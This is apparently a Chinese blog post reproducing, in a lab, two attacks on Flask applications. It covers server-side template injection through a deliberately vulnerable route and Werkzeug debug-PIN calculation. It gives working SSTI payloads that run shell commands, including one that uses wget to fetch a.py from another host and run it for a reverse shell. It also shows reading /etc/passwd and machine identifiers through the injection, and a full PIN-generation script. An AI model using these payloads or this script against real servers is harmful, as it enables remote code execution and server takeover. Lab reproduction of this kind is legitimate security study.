最近了解到关于flask框架的两种利用方式,于是自己搭环境做一下复现。
模板注入
简单的漏洞代码;
@app.route('/evil')
#----------------------------------------------------------------------
def evil():
code=request.args.get('evil')
html='''%s
'''%(code)
return render_template_string(html)
这里使用 render_template_string()动态的渲染模板,代码中的code是可控的,会和html拼接后直接带入渲染,存在ssti漏洞。
可以轻易的构造xss:
命令执行
使用类似python沙箱逃逸的方法。:
http://192.168.200.244:8000/evil?evil={{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )}}
可以结合metasploit反弹:
一:生成python马:
二:ssti下载马并执行:
http://192.168.200.244:8000/evil?evil={{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("wget http://192.168.8.110:5000/a.py -O b.py;python b.py").read()' )}}
pin码执行命令
使用条件,server开启了debug模式,存在任意文件读取漏洞。
开启了debug的flask项目在启动时会生成一个debug用的pin码,可以执行python指令。
而这个pin码在知晓一些条件后,是可以计算出来的。
参考: https://xz.aliyun.com/t/2553#toc-2
还是使用之前的漏洞代码,传入错误的Python代码,轻易触发debug。
这里我们把之前的ssti当任意文件读取来用:
获取用户名(/etc/passwd):
通过报错获取文件路径:
接着获取mac地址(/sys/class/net/ens32/address我的目标服务器是ens32,一般是eth0):
然后获取/etc/machine-id:
之后就可以通过脚本计算了:
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/lib64/python2.7/site-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'345051575547'# str(uuid.getnode()), /sys/class/net/eth0/address
'613cacd3857f425e9409e544dece08da', # get_machine_id(),/etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
计算出Pin码:
可以看到计算出来的pin码和之前debug显示的是一致的。
接下来就可以利用执行命令了: